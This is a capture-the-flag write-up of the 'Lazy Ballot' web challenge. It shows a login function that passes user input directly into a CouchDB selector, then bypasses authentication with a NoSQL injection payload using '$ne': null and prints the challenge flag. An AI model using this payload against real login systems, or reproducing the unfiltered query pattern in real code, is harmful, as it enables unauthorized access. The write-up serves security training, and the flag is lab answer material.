ctf-writeup/Business CTF 2023 The Great Escape/Lazy Ballot

Lazy Ballot

As a Zenium State hacker, your mission is to breach Arodor's secure election system, subtly manipulating the results to create political chaos and destabilize their government, ultimately giving Zenium State an advantage in the global power struggle.

About the Challenge

We have been given a source code (You can download the source code here) and also we got a website to test. Here is the preview of the website

And also there is a login page

The flag was located in the database, especially in the votes database and we need to login first to obtain the flag

How to Solve?

If you check this code in database.js file

async loginUser(username, password) {
    const options = {
        selector: {
            username: username,
            password: password,
        },
    };

    const resp = await this.userdb.find(options);
    if (resp.docs.length) return true;

    return false;
    }

As you can see there is no filter in the code so we can bypass it using this payload

{"username": {"$ne": null}, "password": {"$ne": null} }

And then find the flag in the voting list

HTB{c0rrupt3d_c0uch_b4ll0t}